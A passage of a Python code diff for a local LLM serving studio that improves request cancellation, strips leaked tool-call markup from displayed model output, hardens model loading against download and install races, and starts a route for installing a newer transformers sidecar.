+async def _await_cancel_or_disconnect_then_close_client(
+    *, cancel_event, request: Optional[Request], client: httpx.AsyncClient
+) -> None:
+    """Close a dedicated non-streaming upstream client on cancel/disconnect.
+
+    The shared ``nonstreaming_client()`` is pooled, so cancelable generation calls
+    use a per-request client. Closing it interrupts a blocked llama-server
+    request without affecting unrelated pooled non-streaming calls.
+    """
+    try:
+        while True:
+            if cancel_event is not None and cancel_event.is_set():
+                break
+            if request is not None and await request.is_disconnected():
+                if cancel_event is not None:
+                    cancel_event.set()
+                break
+            await asyncio.sleep(0.1)
+        try:
+            await client.aclose()
+        except Exception:
+            pass
+    except asyncio.CancelledError:
+        return
+
+
 async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
     watcher.cancel()
     try:
@@ -1464,6 +2355,36 @@ async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
         pass
 
 
+async def _drain_pending_next_task(task, cancel_event) -> None:
+    """Wait for a pending ``asyncio.to_thread(next, gen, ...)`` task to finish
+    before its generator is closed.
+
+    On disconnect a ``next(gen)`` call may still run in a worker thread;
+    cancelling the awaiting task does NOT stop it, and ``gen.close()`` mid-
+    ``next(gen)`` raises ``ValueError: generator already executing``, leaking the
+    generator's cleanup. So re-set the cancel flag (the generator polls it) and
+    shield the task until the worker returns. No-op when there is no pending task.
+    """
+    if task is None:
+        return
+    if cancel_event is not None:
+        cancel_event.set()
+    while not task.done():
+        try:
+            await asyncio.shield(task)
+        except asyncio.CancelledError:
+            if cancel_event is not None:
+                cancel_event.set()
+            continue
+        except Exception:
+            break
+    if task.done():
+        try:
+            task.exception()
+        except (asyncio.CancelledError, Exception):
+            pass
+
+
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
 # where the canvas tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
@@ -1574,30 +2495,155 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip tool-call XML the speculative buffer in core/inference/llama_cpp.py
-# split across the visible/DRAIN boundary. Four leak shapes:
+# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
+# llama_cpp.py's speculative buffer splits across the visible/DRAIN boundary:
 #   1. well-formed `<tool_call>...</tool_call>` / `<function=...>...</function>`
 #   2. orphan opening to EOF (close was DRAINED)
 #   3. bare orphan close (open was DRAINED)
 #   4. tail-only `</parameter>` (outer close truncated by EOS); anchored to
 #      `\Z` so mid-text `<parameter>` in user code samples survives.
+#   5. Mistral `[TOOL_CALLS]name{json}` / rehearsal `name[ARGS]{json}`: the balanced
+#      scan removes the whole call (a non-greedy regex would truncate nested JSON).
+# DeepSeek/GLM/Kimi envelopes are covered by the parser's own arms/scans, so a signal
+# we parse is never left un-stripped; the DeepSeek opener alternation is the parser's own.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
 _TOOL_XML_RE = _re.compile(
-    # Hyphen in the name char-class matches MCP tool names with dashes
-    # (mcp__srv__list-issues) that would otherwise leak past this strip.
-    r"<(?:tool_call|function=[\w-]+)>.*?(?:</(?:tool_call|function)>|\Z)"
+    # Arm order/notes: the closed ``<function=...>`` arm runs first and extends
+    # to the call's REAL close so a literal ``</function>`` in a value does not
+    # leak the tail; the combined arm still catches ``<tool_call>`` and orphan
+    # tails. The python_tag arm bounds only on REAL Llama control sentinels
+    # (stopping at any ``<|`` truncated on literal ``<|x|>`` tokens in values).
+    # The last arms cover DeepSeek envelopes (all opener variants), Kimi section
+    # blocks, and bare Kimi calls. Name class ``[\w.\-]`` mirrors the parser.
+    # Those three arms carry a call-shaped lookahead (matching the parser's
+    # ``_TOOL_ALL_PATS``): a prose answer that merely mentions a marker
+    # (``See <|tool_call_begin|> in the docs``) is only stripped when a real
+    # call actually follows the marker, or the marker is a bare fragment at EOF.
+    r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*</function>'
+    r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:</(?:tool_call|function)>|\Z)'
     r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
     r"|<tool_call\|>"
-    r"|</parameter>\s*\Z",
+    r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
+    r"|\[/TOOL_CALLS\]"
+    # Truncated canonical array (closing ``]`` lost to EOS): the balanced scan cannot remove
+    # it, so strip its tail here.
+    r"|\[TOOL_CALLS\]\s*\[.*\Z"
+    # Named / v11 forms and bare rehearsal; arms aligned with the parser regexes.
+    r"|\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|.*?\Z)"
+    # Rehearsal: balanced/truncated body or bare marker at EOS only (prose ``foo[ARGS]``
+    # survives); NAME captured as ``reh`` for the inactive-name display gate.
+    r"|(?<!\[CALL_ID\])\b(?P<reh>[\w-]+)\[ARGS\]\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|\{.*\Z|\Z)"
+    # DeepSeek envelopes (all opener variants), Kimi section blocks, and bare Kimi calls;
+    # each arm carries a call-shaped lookahead so prose merely mentioning a marker survives.
+    r"|"
+    + _DS_OPEN_SRC
+    + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)"
+    r"|<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*?(?:<\|tool_calls_section_end\|>|\Z)"
+    r"|<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*?(?:<\|tool_call_end\|>|\Z)"
+    # ``</param>`` is the attribute-form alias of ``</parameter>`` (the parser accepts
+    # both); strip a tail-only orphan close of either spelling.
+    r"|</(?:parameter|param)>\s*\Z",
+    _re.DOTALL,
+)
+
+# Closed-only variant for segments before the last think block: the ``\Z``-anchored arms
+# would treat a segment boundary as EOS and strip prose ``foo[ARGS]``.
+_TOOL_XML_CLOSED_RE = _re.compile(
+    r"<(?:tool_call|function=[\w-]+)>.*?</(?:tool_call|function)>"
+    r"|<\|tool_call>.*?<tool_call\|>"
+    r"|</(?:tool_call|function)>"
+    r"|<tool_call\|>"
+    r"|\[/TOOL_CALLS\]",
     _re.DOTALL,
 )
 
 
-def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str:
-    """Apply route-level XML leak cleanup only when Auto-Heal is enabled."""
+def _gemma_strip_gate(tools) -> set:
+    """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the
+    parser/loop gate: only an enabled ``call:foo{...}`` is a call). With NO tools
+    enabled this returns an EMPTY set, not ``None``: every ``call:NAME{...}`` is
+    then prose, and ``None`` would strip-all and delete a legitimate answer."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names
+
+
+def _display_tool_name_gate(active_tools):
+    """Active tool NAMES for gating the rehearsal display strip, or None when no tools
+    are enabled. ``None`` keeps the legacy strip-all behavior, mirroring the loop gate:
+    a bare ``NAME[ARGS]`` is a call only when NAME is active; without a tool list every
+    identifier stays ambiguous, so strip."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (active_tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names or None
+
+
+def _strip_tool_xml_for_display(
+    text: str,
+    *,
+    auto_heal_tool_calls: bool,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Apply route-level XML leak cleanup only when Auto-Heal is enabled.
+
+    Mirrors the parser-side segment scan: balanced strips first (Mistral, gated Gemma
+    wrapper-less, GLM real-close, guarded function-XML close at each call's REAL terminator
+    so literal markup inside a value is data), then the ``_TOOL_XML_RE`` arms cover the
+    DeepSeek / Kimi / orphan forms. ``<think>`` blocks are preserved verbatim and the
+    ``\\Z``-anchored tail arms run only on the last segment (prose ``foo[ARGS]`` before a
+    block survives). ``enabled_tool_names`` (when not None) gates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{...}`` and wrapper-less Gemma ``call:NAME{...}`` strips on the active tool
+    list; an inactive NAME is prose and is kept. The ``[TOOL_CALLS]`` control-token arms strip
+    unconditionally regardless of NAME."""
     if not auto_heal_tool_calls:
         return text
-    return _TOOL_XML_RE.sub("", text)
+    from core.tool_healing import _strip_bracket_tag_calls, strip_outside_think
+
+    def _keep_inactive_rehearsal(m) -> str:
+        # Only the bare-rehearsal arm captures ``reh``; with a tool list an inactive
+        # NAME[ARGS]{...} is prose -- keep it.
+        if enabled_tool_names is not None:
+            name = m.groupdict().get("reh")
+            if name is not None and name not in enabled_tool_names:
+                return m.group(0)
+        return ""
+
+    def _strip_segment(seg: str, is_last: bool) -> str:
+        # Scan strips close at each call's REAL terminator (a literal ``</function>`` or a
+        # nested marker quoted inside a value cannot truncate the strip); the regex arms below
+        # cover the attribute form and the DeepSeek / Kimi / orphan families.
+        seg = _strip_mistral_closed_calls(seg)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_glm_calls(seg, final = is_last)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        if is_last:
+            return _TOOL_XML_RE.sub(_keep_inactive_rehearsal, seg)
+        return _TOOL_XML_CLOSED_RE.sub("", seg)
+
+    return strip_outside_think(text, _strip_segment)
+
+
+def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    # Mistral balanced-brace pre-strip (kept explicit so the regression guards see it), then
+    # the shared think-aware display strip -- the one raw _TOOL_XML_RE.sub lives inside
+    # _strip_tool_xml_for_display, so every route cleanup site shares it. ``enabled_tool_names``
+    # gates the Gemma wrapper-less strip; ``None`` strips every closed call.
+    text = _strip_mistral_closed_calls(text)
+    return _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = enabled_tool_names
+    )
 
 
 logger = get_logger(__name__)
@@ -2441,6 +3487,21 @@ def _automatic_model_load_may_run() -> bool:
     return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0
 
 
+def _no_model_loaded_detail(base: str) -> str:
+    """Append a pointer to the opt-in auto-switch toggle to a "no model loaded"
+    error, but only when it's off. Auto-switch (default off) cold-loads a
+    requested downloaded GGUF, so an off toggle is the usual reason a request
+    naming a listed model still 400/503s; surface the fix. With it on the name
+    simply didn't resolve to a local GGUF, so the hint would mislead and is omitted."""
+    from utils.openai_auto_switch_settings import get_openai_auto_switch_enabled
+
+    if get_openai_auto_switch_enabled():
+        return base
+    return base + (
+        " Or enable Model auto-switch (Settings > API) to load a requested model automatically."
+    )
+
+
 async def _maybe_auto_switch_model(
     requested_model: Optional[str],
     fastapi_request: Request,
@@ -2710,10 +3771,14 @@ def _remote_gguf_companion_bytes(
         info = model_info(repo, token = hf_token, files_metadata = True)
         total = 0
         for sibling in info.siblings or []:
-            base = Path(sibling.rfilename or "").name.lower()
+            name = sibling.rfilename or ""
+            base = Path(name).name.lower()
             if not base.endswith(".gguf"):
                 continue
-            if base.startswith("mtp-") or (include_mmproj and "mmproj" in base):
+            # Root-level mtp- only: -hf auto-fetches the repo-root drafter, not
+            # the MTP/ subdir copies (which now share the mtp- prefix too).
+            is_root_mtp = "/" not in name and base.startswith("mtp-")
+            if is_root_mtp or (include_mmproj and "mmproj" in base):
                 total += getattr(sibling, "size", 0) or 0
         return total
     except Exception as e:
@@ -2889,6 +3954,17 @@ _NOT_SUPPORTED_HINTS = (
     "does not support",
 )
 
+_NVFP4_INFERENCE_UNSUPPORTED_MESSAGE = (
+    "We are working on supporting NVFP4 inference. For now it is not supported"
+)
+
+
+def _is_unsupported_nvfp4_inference_error(msg: str) -> bool:
+    """Whether ``msg`` is the verbose MLX per-module metadata error emitted
+    while loading an NVFP4 checkpoint."""
+    lower_msg = msg.lower()
+    return "nvfp4" in lower_msg and "per-module mlx quantization metadata" in lower_msg
+
 
 def _maybe_unsupported_message(msg: str) -> str:
     """Rewrite a load/validate error into the friendly "not supported yet"
@@ -2914,19 +3990,38 @@ async def load_model(
 
     GGUF models load via llama-server (llama.cpp) instead of Unsloth.
     """
+    # A sidecar install that has reserved the swap must not lose to a load that
+    # then gets unloaded by the pre-swap teardown. Rechecked under the gate: an
+    # install can reserve while this request queues on the gate, so the pre-gate
+    # check alone is only a fast path.
+    from core.inference.llama_keepwarm import inference_lifecycle_gate
+    from utils.transformers_version import sidecar_swap_in_progress
+
+    _swap_409 = HTTPException(
+        status_code = 409,
+        detail = "A transformers installation is in progress. Retry when it completes.",
+    )
+    if sidecar_swap_in_progress():
+        raise _swap_409
     # Hold the lifecycle gate across the load so idle auto-unload can't unload the
     # model mid-load. Auto-switch calls _load_model_impl directly since it already
     # holds this gate.
-    from core.inference.llama_keepwarm import inference_lifecycle_gate
     async with inference_lifecycle_gate():
+        if sidecar_swap_in_progress():
+            raise _swap_409
         return await _load_model_impl(request, fastapi_request, current_subject)
 
 
 async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str):
     from core.inference.llama_cpp import LlamaServerNotFoundError
 
+    # A new load starts here; arm the progress throttle so this load's first
+    # sampled step logs even if it reports 100% immediately (cached/small load).
+    _reset_load_progress_step()
+
     native_grant_backed = False
     model_log_label = request.model_path
+    gguf_load_stack = ExitStack()
     try:
         # Validate user pass-through args up front so a managed-flag collision
         # returns 400 before any model work.
@@ -3098,6 +4193,15 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 status_code = 400,
                 detail = "gpu_ids is not supported for GGUF models yet.",
             )
+        if not config.is_gguf and _mlx_distributed_launch_detected():
+            raise HTTPException(
+                status_code = 400,
+                detail = (
+                    "Studio does not support distributed MLX inference under "
+                    "mlx.launch. Use `mlx.launch ... unsloth chat` or run Studio "
+                    "without the distributed launcher."
+                ),
+            )
 
         # Effective quantization (LoRA can flip 4-bit -> 16-bit); guard + load reuse it.
         effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
@@ -3106,6 +4210,17 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 f"Resolved load_in_4bit={effective_load_in_4bit} for '{model_log_label}' "
                 f"from adapter_config.json / base model (requested {request.load_in_4bit})"
             )
+        # Latest-sidecar models load 16-bit (worker refuses bnb 4-bit); size the guard
+        # to match. Off-loop: tier resolution reads configs.
+        if effective_load_in_4bit and not config.is_gguf:
+            from utils.transformers_version import latest_tier_active_for
+            if await asyncio.to_thread(latest_tier_active_for, config.identifier, request.hf_token):
+                effective_load_in_4bit = False
+                logger.info(
+                    f"Latest-transformers sidecar active for '{model_log_label}' - "
+                    "sizing and loading in 16-bit (4-bit is disabled for brand-new "
+                    "architectures)"
+                )
 
         # Refuse a load that would OOM active training, before the unload step below
         # frees the resident model. Off-loop: guard does sync nvidia-smi / HF work.
@@ -3126,12 +4241,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             llama_backend = get_llama_cpp_backend()
             unsloth_backend = get_inference_backend()
 
-            # Unload any active Unsloth model to free VRAM
-            if unsloth_backend.active_model_name:
-                logger.info(
-                    f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF"
-                )
-                unsloth_backend.unload_model(unsloth_backend.active_model_name)
+            if config.gguf_hf_repo:
+                from core.inference.llama_cpp import gguf_load_in_flight
+                gguf_load_stack.enter_context(gguf_load_in_flight(config.gguf_hf_repo))
 
             # Inherit llama_extra_args from the previous load when the request
             # omits the field (the chat-settings Apply path doesn't round-trip
@@ -3211,6 +4323,38 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                                 extra_llama_args,
                             )
 
+            # Block cache writes that would race the download manager. This runs
+            # after pass-through argument inheritance so a carried --no-mmproj
+            # changes the companion requirement exactly as it does for the load.
+            if config.gguf_hf_repo:
+                from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+                if await asyncio.to_thread(
+                    _hub_download_blocks_gguf_load,
+                    config.gguf_hf_repo,
+                    config.gguf_variant,
+                    require_mmproj = bool(
+                        config.is_vision and not extra_args_disable_mmproj(extra_llama_args)
+                    ),
+                    hf_token = request.hf_token,
+                ):
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            f"'{model_log_label}' is currently being downloaded "
+                            "by the download manager. Wait for the download to "
+                            "finish (or cancel it), then load the model."
+                        ),
+                    )
+
+            # Unload any active Unsloth model only after every hub conflict check.
+            if unsloth_backend.active_model_name:
+                logger.info(
+                    f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF"
+                )
+                await asyncio.to_thread(
+                    unsloth_backend.unload_model, unsloth_backend.active_model_name
+                )
+
             # Route to HF or local mode based on config. Run in a thread so the
             # event loop stays free for progress polling and other requests
             # during the (potentially long) GGUF download + llama-server start.
@@ -3520,8 +4664,17 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
     except HTTPException:
         raise
     except ValueError as e:
+        redacted_msg = redact_native_paths(str(e))
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while loading '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 500,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.warning(
                 "Rejected inference selection for native model %s: %s",
                 model_log_label,
@@ -3530,15 +4683,29 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             raise HTTPException(status_code = 400, detail = redacted_msg)
         logger.warning("Rejected inference GPU selection: %s", e)
         # User-facing validation (e.g. "Invalid gpu_ids [99]"): redact paths, keep detail.
-        raise HTTPException(status_code = 400, detail = redact_native_paths(str(e)))
+        raise HTTPException(status_code = 400, detail = redacted_msg)
     except LlamaServerNotFoundError as e:
         # Missing GGUF runtime: 400 with the install message, not a generic 500.
         logger.warning("GGUF runtime missing while loading '%s': %s", model_log_label, e)
         raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Lost the spawn-time race to a sidecar install/repair: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         # Friendlier message for models Unsloth cannot load.
+        redacted_msg = redact_native_paths(str(e))
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while loading '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 500,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.error(
                 "Error loading native model %s: %s",
                 model_log_label,
@@ -3550,8 +4717,10 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 detail = f"Failed to load native model {model_log_label}: {msg}",
             )
         logger.error(f"Error loading model: {e}", exc_info = True)
-        msg = _maybe_unsupported_message(redact_native_paths(str(e)))
+        msg = _maybe_unsupported_message(redacted_msg)
         raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}")
+    finally:
+        gguf_load_stack.close()
 
 
 def _requires_trust_remote_code_for_model(
@@ -3664,16 +4833,6 @@ async def validate_model(
                 detail = "gpu_ids is not supported for GGUF models yet.",
             )
         effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
-        # Off-loop: guard does sync nvidia-smi / HF work.
-        await asyncio.to_thread(
-            _guard_chat_load_against_training,
-            config,
-            model_identifier = model_identifier,
-            hf_token = request.hf_token,
-            load_in_4bit = effective_load_in_4bit,
-            max_seq_length = request.max_seq_length,
-            requested_gpu_ids = effective_gpu_ids,
-        )
 
         # Both checks cover the [adapter, base] set (matching the scan route and workers):
         # either repo can ship auto_map code or a poisoned pickle.
@@ -3690,16 +4849,69 @@ async def validate_model(
         security_targets = list(dict.fromkeys(security_targets))
 
         is_gguf = getattr(config, "is_gguf", False)
-        # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
-        # mixed repo are inert for this load, so gating on them is a false positive. Only
-        # run the remote-code/security preflight for non-GGUF loads.
+        # Does a newer transformers ship this model_type? Static overlay first, cached
+        # PyPI/main snapshot only for unknown types. Never fails validation; run before
+        # the training guard so an installable upgrade sizes as 16-bit.
+        transformers_upgrade: Optional[TransformersUpgradeInfo] = None
+        if not is_gguf:
+            from utils.transformers_latest import check_upgrade_for_model
+
+            # Cover [adapter, base]: the worker activates transformers for the base model.
+            for _target in security_targets:
+                _upgrade = await asyncio.to_thread(
+                    check_upgrade_for_model, _target, request.hf_token
+                )
+                if _upgrade is not None:
+                    transformers_upgrade = TransformersUpgradeInfo(**_upgrade)
+                    break
+
+        # Whether the model can load on the CURRENT transformers through its own remote
+        # code (auto_map, or the YAML trust default). Computed before the 16-bit flip
+        # because a model with this fallback still loads 4-bit without the offered install,
+        # exactly as /load does.
         requires_trust_remote_code = False
-        requires_security_review = False
         if not is_gguf:
             requires_trust_remote_code = any(
                 _requires_trust_remote_code_for_model(_t, request.hf_token)
                 for _t in security_targets
             )
+
+        # Mirror /load's latest-sidecar 16-bit flip so the guard sizes it the same way. An
+        # ALREADY-ACTIVE latest sidecar always forces 16-bit (the worker will). A merely
+        # OFFERED (not yet installed) upgrade forces 16-bit only when the model has NO
+        # custom-code fallback: with auto_map it still loads 4-bit on the current
+        # transformers (as /load does without a successful install), and the install route
+        # refuses while training is active, so sizing 16-bit here would 409 the only viable
+        # 4-bit path. /load re-sizes 16-bit after a successful install and re-guards there.
+        if effective_load_in_4bit and not is_gguf:
+            from utils.transformers_version import latest_tier_active_for
+            _install_only_upgrade = (
+                transformers_upgrade is not None
+                and transformers_upgrade.supported_in_pypi
+                and transformers_upgrade.pypi_version
+                and not requires_trust_remote_code
+            )
+            if _install_only_upgrade or await asyncio.to_thread(
+                latest_tier_active_for, config.identifier, request.hf_token
+            ):
+                effective_load_in_4bit = False
+        # Off-loop: guard does sync nvidia-smi / HF work.
+        await asyncio.to_thread(
+            _guard_chat_load_against_training,
+            config,
+            model_identifier = model_identifier,
+            hf_token = request.hf_token,
+            load_in_4bit = effective_load_in_4bit,
+            max_seq_length = request.max_seq_length,
+            requested_gpu_ids = effective_gpu_ids,
+        )
+
+        # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
+        # mixed repo are inert for this load, so gating on them is a false positive. Only
+        # run the security preflight for non-GGUF loads (requires_trust_remote_code was
+        # already resolved above for the sizing flip).
+        requires_security_review = False
+        if not is_gguf:
             requires_security_review = any(
                 _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets
             )
@@ -3742,6 +4954,8 @@ async def validate_model(
             requires_trust_remote_code = requires_trust_remote_code,
             requires_security_review = requires_security_review,
             context_length = context_length,
+            requires_transformers_upgrade = transformers_upgrade is not None,
+            transformers_upgrade = transformers_upgrade,
         )
 
     except HTTPException:
@@ -3751,8 +4965,17 @@ async def validate_model(
         logger.warning("GGUF runtime missing while validating '%s': %s", request.model_path, e)
         raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
+        redacted_msg = redact_native_paths(str(e))
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while validating '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 400,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.error(
                 "Error validating native model %s: %s",
                 model_log_label,
@@ -3773,7 +4996,7 @@ async def validate_model(
         # Path-redact for safety and keep any other exception type generic so an
         # unexpected internal error never leaks its details to the client.
         if isinstance(e, (RuntimeError, ValueError)):
-            msg = redact_native_paths(str(e)).strip()
+            msg = redacted_msg.strip()
             if msg:
                 msg = _maybe_unsupported_message(msg)
                 raise HTTPException(
@@ -3786,6 +5009,217 @@ async def validate_model(
         )
 
 
+# studio_router only: admin action, kept off the OpenAI-compatible /v1 mount.
+@studio_router.post(
+    "/install-latest-transformers", response_model = InstallLatestTransformersResponse
+)
+async def install_latest_transformers_route(
+    request: InstallLatestTransformersRequest, current_subject: str = Depends(get_current_subject)
+):
+    """
+    Consented install of the latest transformers release into the persistent
+    .venv_t5_latest sidecar.
+
+    Called after the user confirms the transformers-upgrade dialog raised by /validate
+    (requires_transformers_upgrade). The requested version must match the current latest
+    PyPI release (re-verified server-side); the sidecar then participates in routing on
+    this and every future start. A pip install runs off-loop, so this can take a minute.
+    """
+    from utils.transformers_latest import install_latest_transformers
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    # The install stage-and-swaps .venv_t5_latest in place; a live worker would
+    # lazy-import from the new version mid-run, mixing incompatible modules. Gate on
+    # worker LIVENESS not tier (no HF token here, so tier re-resolution is unreliable
+    # for gated repos): training and export are refused, the chat model unloaded.
+    # Reserve the swap FIRST, before any await: training/export starts check this
+    # reservation, so raising it after the gate wait would let a worker slip in.
+    if not try_begin_sidecar_swap():
+        raise HTTPException(
+            status_code = 409,
+            detail = "A transformers installation is already in progress.",
+        )
+    # Until the installer thread takes over, this coroutine owns the reservation
+    # and must release it on any early exit (the 409 refusals below).
+    owns_reservation = True
+    try:
+        from core.export import get_export_backend
+        from core.training import get_training_backend
+
+        if get_training_backend().is_training_active():
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "A training run is active. Wait for it to finish before "
+                    "installing a new transformers version."
+                ),
+            )
+        _export = get_export_backend()
+        if _export.is_export_active():
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "An export is running. Wait for it to finish before "
+                    "installing a new transformers version."
+                ),
+            )
+        # A loaded (idle) export checkpoint would be torn down by the pre-swap
+        # cleanup; if the swap then failed, that state would be silently lost
+        # with no rollback signal. Make the user unload it deliberately first.
+        if getattr(_export, "current_checkpoint", None):
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "An export checkpoint is loaded. Unload it from the Export "
+                    "page before installing a new transformers version."
+                ),
+            )
+        # In-flight streams passed the middleware already, so the lifecycle gate can't
+        # protect them and the swap's unload would kill them mid-stream; mirror the
+        # auto-switch busy check. This route is not middleware-counted and pending
+        # requests stay blocked in the middleware, so neither is subtracted here.
+        from core.inference.llama_keepwarm import (
+            inference_lifecycle_gate,
+            note_model_unloaded,
+            other_inference_request_count,
+        )
+
+        if other_inference_request_count(current_request_counted = False, include_pending = False) > 0:
+            raise HTTPException(
+                status_code = 409,
+                detail = (
+                    "Another inference request is in progress. Wait for it to "
+                    "finish before installing a new transformers version."
+                ),
+            )
+
+        # Hold the lifecycle gate /load holds so no HF worker can start (or be mid-load
+        # with active_model_name unset) while the sidecar is swapped. Teardown runs via
+        # before_swap, only once the staged install succeeded: a failed pip/compat check
+        # must not leave the user with their model gone. GGUF stays loaded (llama-server
+        # never imports transformers).
+        backend = get_inference_backend()
+        export_backend = get_export_backend()
+
+        unloaded_chat = {"v": False}
+
+        def _unload_before_swap() -> None:
+            # Runs on the install thread, inside the gate held by _gated_install. Any
+            # failure raises so the previous sidecar stays untouched (a worker that did
+            # not tear down cleanly may still lazy-import from it). Export teardown runs
+            # FIRST so its failure aborts while the chat model is still loaded;
+            # cleanup_memory shuts the subprocess down even when its command fails, so
+            # judge by worker liveness, not its return value.
+            export_backend.cleanup_memory()
+            export_alive = getattr(export_backend, "is_worker_alive", None)
+            if callable(export_alive) and export_alive():
+                raise RuntimeError("Export worker still alive before the transformers swap")
+            active = getattr(backend, "active_model_name", None)
+            if active:
+                if not backend.unload_model(active):
+                    # A failed unload still clears the orchestrator's model state,
+                    # so the model is gone from the parent's view even though the
+                    # swap aborts: report it so the client rolls back instead of
+                    # pointing at an unloaded model.
+                    if getattr(backend, "active_model_name", None) != active:
+                        unloaded_chat["v"] = True
+                        note_model_unloaded()
+                    raise RuntimeError(f"Could not unload '{active}' before the transformers swap")
+                note_model_unloaded()
+                unloaded_chat["v"] = True
+                logger.info(
+                    "Unloaded '%s' before swapping in transformers %s",
+                    active,
+                    request.version,
+                )
+            # A failed load can leave a live worker with no active model that
+            # still holds sidecar modules (and blocks the rename on Windows).
+            worker_alive = getattr(backend, "is_worker_alive", None)
+            if callable(worker_alive) and worker_alive():
+                # _shutdown_subprocess keeps the handle when the worker outlives SIGKILL,
+                # so both its False result and the liveness recheck catch a survivor
+                # rather than the recheck being fooled by a nulled handle.
+                stopped = backend._shutdown_subprocess()
+                if not stopped or worker_alive():
+                    raise RuntimeError("Inference worker still alive before the transformers swap")
+
+        def _run_install() -> dict:
+            # Owns the reservation from here: releasing in the thread, not the route,
+            # keeps it held if the request is cancelled while the install still stages.
+            try:
+                return install_latest_transformers(request.version, _unload_before_swap, True)
+            finally:
+                end_sidecar_swap()
+
+        # Snapshot before waiting on the gate: a /load already holding it can
+        # complete meanwhile (including a same-model reload with new settings),
+        # and the installer must not unload a model whose successful LoadResponse
+        # the client is about to render. The generation counter catches reloads
+        # the name alone would miss.
+        active_before_gate = (
+            getattr(backend, "active_model_name", None),
+            getattr(backend, "load_generation", 0),
+        )
+
+        async def _gated_install() -> dict:
+            # Held by THIS task, not the request coroutine: a cancelled POST unwinding an
+            # `async with` here would drop the only guard /load honors mid-install.
+            async with inference_lifecycle_gate():
+                _active_now = (
+                    getattr(backend, "active_model_name", None),
